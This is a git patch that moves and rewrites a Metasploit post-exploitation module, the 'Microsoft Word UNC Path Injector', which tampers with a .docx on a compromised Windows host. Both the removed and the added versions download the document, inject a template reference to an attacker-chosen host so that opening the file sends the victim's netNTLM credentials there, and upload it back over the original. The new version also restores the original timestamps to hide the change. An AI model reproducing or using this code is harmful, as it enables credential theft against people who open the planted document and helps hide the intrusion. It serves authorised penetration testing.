From 91f89f8c6814c982da89512c166d8d7c4810f7cb Mon Sep 17 00:00:00 2001 From: SphaZ Date: Thu, 14 Feb 2013 21:41:19 +0100 Subject: [PATCH] Rewrite of module after auxilliary. Also moved to post/windows --- .../post/multi/injector/word_unc_injector.rb | 318 ------------------ .../windows/injector/word_unc_injector.rb | 281 ++++++++++++++++ 2 files changed, 281 insertions(+), 318 deletions(-) delete mode 100644 modules/post/multi/injector/word_unc_injector.rb create mode 100644 modules/post/windows/injector/word_unc_injector.rb diff --git a/modules/post/multi/injector/word_unc_injector.rb b/modules/post/multi/injector/word_unc_injector.rb deleted file mode 100644 index 8be78ad2bf..0000000000 --- a/modules/post/multi/injector/word_unc_injector.rb +++ /dev/null @@ -1,318 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://Metasploit.com/projects/Framework/ -## - -require 'msf/core' -require 'msf/core/post/file' - -class Metasploit3 < Msf::Post - - include Msf::Post::File - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Word UNC Path Injector', - 'Description' => %q{ - This module modifies a remote .docx file that will, upon opening, submit all - stored netNTLM credentials to a remote host. If emailed the receiver needs - to put the document in editing mode before the remote server will be - contacted. Preview and read-only mode do not work. Verified to work - with Microsoft Word 2003, 2007 and 2010 as of Januari 2013 date by using - auxiliary/server/capture/smb - }, - 'License' => MSF_LICENSE, - 'Version' => '$Revision: 1 $', - 'References' => - [ - [ 'URL', 'http://jedicorp.com/?p=534' ], - ], - 'Platform' => ['win', 'linux', 'unix' ], - 'SessionTypes' => ['meterpreter'], - 'Author' => - [ - 'SphaZ ' - ] - )) - register_options( - [ - OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']), - OptString.new('FILE', [true, 'Remote file to inject UNC path into. ', '']), - OptPath.new('DSTPATH', [true, 'Path to put downloaded documents', '/tmp']), - OptBool.new('RMLOCAL', [true, 'Delete original file after upload.', 'False']), - ], self.class) - end - - def manipulateFile - ref = "" - - relsFileData = "" - relsFileData << "" - relsFileData << "" - relsFileData << "" - - fileContent = getFileFromDocx("word/settings.xml") - if fileContent.nil? - return nil - end - - #First, we want to know if the reference to the template already exists..if it does we dont need to manipulate it :) - if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? - vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") - if unzipDocx.nil? - return nil - end - #and we put just our rels file into the docx - updateDocxFile("word/_rels/settings.xml.rels", relsFileData) - - #ok we got through this, lets zip the file, overwriting the original in this case - begin - File.delete(@localFile) - if zipDocx(@tmpDir, @localFile).nil? - return nil - end - rescue - print_error("Can't modify the original document :(") - return nil - end - else - #now insert the reference to the file that will enable our malicious entry - insertOne = fileContent.index(" ex - print_error("There was an error unzipping, is the file corrupt?") - return nil - end - return 0 - end - - #used for updating the files inside the docx from a string - def updateDocxFile(fileString, content) - begin - #ok so now we unpacked the docx file, lets start to update the file we need to do - #does the file already exist? - archive = File.join(@tmpDir, fileString) - vprint_status("We need to look for: #{archive}") - if File.exists?(archive) - vprint_status("Deleting original file #{archive}") - File.delete(archive) - end - #now lets put OUR file there - File.open(archive, 'wb+') { |f| f.write(content) } - rescue Exception => ex - print_error("Extracting and manipulating the file went wrong.") - return nil - end - return 0 - end - - def getFile - begin - data = "" - docxFile = session.fs.file.new("#{datastore['FILE']}", 'rb') - until docxFile.eof? - data << docxFile.read - end - - if data == "" - print_error("File read is empty!") - return nil - end - - orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE'])) - lclFile = File.new(orgFilename, 'wb+') - lclFile.write(data) - lclFile.close - - if not File.exists?(orgFilename) - print_error("Could not create file :(") - raise $! - else - vprint_status("Created local file #{orgFilename}") - end - - #now lets make a copy for manipulation - tmpFile = File.join("#{orgFilename}.tmp") - FileUtils.cp(orgFilename, tmpFile) - vprint_status("Created file to inject into: #{tmpFile}") - return tmpFile - rescue - print_error("Failed to get file or create copy for #{filename} to #{orgFilename}: #{e.class} #{e}") - return nil - end - end - - - #read a file from .docx into a string - def getFileFromDocx(fileString) - begin - Zip::ZipFile.open(@localFile) do |zipFile| - zipFile.each do |f| - next unless f.to_s == fileString - return f.get_input_stream.read - end - end - print_error("Cant find #{fileString} inside the .docx") - return nil - rescue - print_error("Unknown error reading docx file.") - return nil - end - end - - - def run - #where do we unpack our file? - @tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" - begin - if not session.fs.file.exists?(datastore['FILE']) - print_error("File not found.") - return - else - @localFile = getFile - if not @localFile.nil? - print_status("File found and data read, lets to do some magic...") - else - #since nil value is from the rescue and already prints info, we just exit the module here - return - end - end - rescue - print_error("Session error verifying file existance.") - return - end - - if manipulateFile.nil? - print_error("Error manipulating #{@localFile}!") - return - end - - vprint_status("UNC path injected into file, lets upload it now...") - #aight, now we need to upload and replace the file we just read - #now we upload our modified docx.tmp file, overwriting the original on the remote host - begin - print_status("Uploading injected file #{@localFile} to remote #{datastore['FILE']}...") - session.fs.file.upload_file(datastore['FILE'], @localFile) - vprint_good("File succesfully uploaded!") - rescue ::Exception => e - print_error("Error uploading file #{@localFile} to #{datastore['FILE']}: #{e.class} #{e}") - return - end - - #cleanup phase - begin - vprint_status("Deleting local injected file #{@localFile}") - File.delete(@localFile) - rescue - print_error("Error deleting temporary file #{@localFile}") - return - end - - #do we need to delete the original too? - if datastore['RMLOCAL'] - begin - vprint_status("Deleting original file...") - orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE']) ) - File.delete(orgFilename) - rescue - print_error("Error deleting #{session.fs.file.basename(datastore['FILE'])} from #{datastore['DSTPATH']}") - return - end - elsif not datastore['RMLOCAL'] - print_status("!!Keeping original of #{datastore['FILE']} in #{datastore['DSTPATH']}") - end - - print_good("File #{datastore['FILE']} succesfully injected to point to #{datastore['LHOST']}") - end -end diff --git a/modules/post/windows/injector/word_unc_injector.rb b/modules/post/windows/injector/word_unc_injector.rb new file mode 100644 index 0000000000..3b0c345e70 --- /dev/null +++ b/modules/post/windows/injector/word_unc_injector.rb @@ -0,0 +1,281 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://Metasploit.com/projects/Framework/ +## + +require 'msf/core' +require 'msf/core/post/file' +require 'zip/zip' #for extracting files +require 'rex/zip' #for creating files + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Word UNC Path Injector', + 'Description' => %q{ + This module modifies a remote .docx file that will, upon opening, submit + stored netNTLM credentials to a remote host. Verified to work with Microsoft + Word 2003, 2007 and 2010 as of January 2013. In order to get the hashes + the auxiliary/server/capture/smb module can be used. + }, + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://jedicorp.com/?p=534' ] + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'SphaZ ' + ] + )) + + register_options( + [ + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to']), + OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']), + OptPath.new('BACKUPDIR', [true, 'Directory to put original documents for backup']), + OptBool.new('BACKUP', [true, 'Make local backup of remote file.', 'True']), + ], self.class) + end + + #Store MACE values so we can set them later again. + def get_mace + begin + mace = session.priv.fs.get_file_mace(datastore['FILE']) + vprint_status("Got file MACE attributes!") + rescue => e + print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!") + print e.message + end + return mace + end + + #using Tempfile does not work, because if Ruby garbage collects they are gone before we can use it, so we do it manually + def write_tmp(filedata) + tmp = File.join(Dir.tmpdir, Time.now.to_i.to_s + rand(5555).to_s) + File.open(tmp, 'w') {|f| f.write(filedata) } + return tmp + end + + + #We make a backup of the original and return the full path and filename when done. + def make_backup(zipfile) + if not File.directory?(datastore['BACKUPDIR']) + print_error("Backup directory #{datastore['BACKUPDIR']} does not exist.") + return nil + end + + #basename wont work, so we do it the regex way + if session.platform.include?'win' + tempname = datastore['FILE'].split("\\").last + else + tempname = datastore['FILE'].split("/").last + end + + dst_filename = File.join(datastore['BACKUPDIR'], tempname) + begin + File.open(dst_filename,'wb') {|f| f.write(zipfile)} + return dst_filename + rescue + print_error("Error saving backup file to #{datastore['BACKUPDIR']}.") + return nil + end + end + + #here we unzip into memory, inject our UNC path, store it in a temp file and + #return the modified zipfile name for upload + def manipulate_file(zipfile) + ref = "" + + rels_file_data = "" + rels_file_data << "" + rels_file_data << "" + rels_file_data << "" + + zip_data = unzip_docx(zipfile) + if zip_data.nil? + return nil + end + + #file to check for reference file we need + file_content = zip_data["word/settings.xml"] + if file_content.nil? + print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") + return nil + end + + #if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. + if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? + vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") + zip_data["word/_rels/settings.xml.rels"] = rels_file_data + return zip_docx(zip_data) + else + #now insert the reference to the file that will enable our malicious entry + insert_one = file_content.index(" e + print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.") + return nil + end + return zip_data + end + + #making the actual docx we write to a temp file, + #because upload_file needs a file as source + def zip_docx(zip_data) + docx = Rex::Zip::Archive.new + zip_data.each_pair do |k,v| + docx.add_file(k,v) + end + + tmp_file_name = write_tmp(docx.pack) + return tmp_file_name + end + + #We try put the mace values back to that of the original file + def set_mace(mace) + if not mace.nil? + vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.") + begin + session.priv.fs.set_file_mace(datastore['FILE'], mace["Modified"], mace["Accessed"], mace["Created"], mace["Entry Modified"]) + rescue + print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!") + end + end + end + + def run + zipfile = "" + backup_filename = "" + + #sadly OptPath does not work, so we check manually if it exists + if not session.fs.file.exists?(datastore['FILE']) + print_error("Remote file does not exist!") + return + end + + #get mace values so we can put them back after uploading. We do this first, so we have the original + #accessed time too. + file_mace = get_mace + + #download the remote file + file_data = session.fs.file.new("#{datastore['FILE']}", 'rb') + begin + print_status("Downloading remote file #{datastore['FILE']}.") + until file_data.eof? + data = file_data.read + zipfile << data if not data.nil? + end + print_status("Remote file #{datastore['FILE']} downloaded.") + file_data.close + rescue EOFError + print_error("Error reading remote file.") + return + end + + + #Create local backup of remote file if wanted else a temp file + #Either way we need a local file to use because you cannot extract a zipfile into memory. + if datastore['BACKUP'] + backup_filename = make_backup(zipfile) + if backup_filename.nil? + return + else + print_status("Local backup of original file stored at #{backup_filename}.") + tmp_zipfile = backup_filename + end + else #no backup, so we use a temporary file instead + print_warning("Not storing a local backup of original file!") + tmp_zipfile = write_tmp(zipfile) + end + + #Unzip, insert our UNC path, zip and return the filename of the injected temp file for upload + modified_zip_name = manipulate_file(tmp_zipfile) + if modified_zip_name.nil? + return + end + + #upload the injected file + begin + session.fs.file.upload_file(datastore['FILE'], modified_zip_name) + print_status("Uploaded injected file to remote #{datastore['FILE']}...") + rescue => e + print_error("Error uploading file to #{datastore['FILE']}: #{e.class} #{e}") + return + end + + #cleanup of local temp files + FileUtils.rm(modified_zip_name) + if not datastore['BACKUP'] + FileUtils.rm(tmp_zipfile) + end + + #set mace values back to that of original + set_mace(file_mace) + + #Store information in note database so its obvious what we changed, were we stored the backup file (if we did) + note_string ="Remote file #{datastore['FILE']} contains UNC path to #{datastore['LHOST']}. " + if datastore['BACKUP'] + note_string += " Local backup of file at #{backup_filename}." + end + + report_note(:host => session.session_host, + :type => "host.word_unc_injector.changedfiles", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :files_changed => note_string + } + ) + + print_good("Done! File #{datastore['FILE']} succesfully injected to point to #{datastore['LHOST']}") + end +end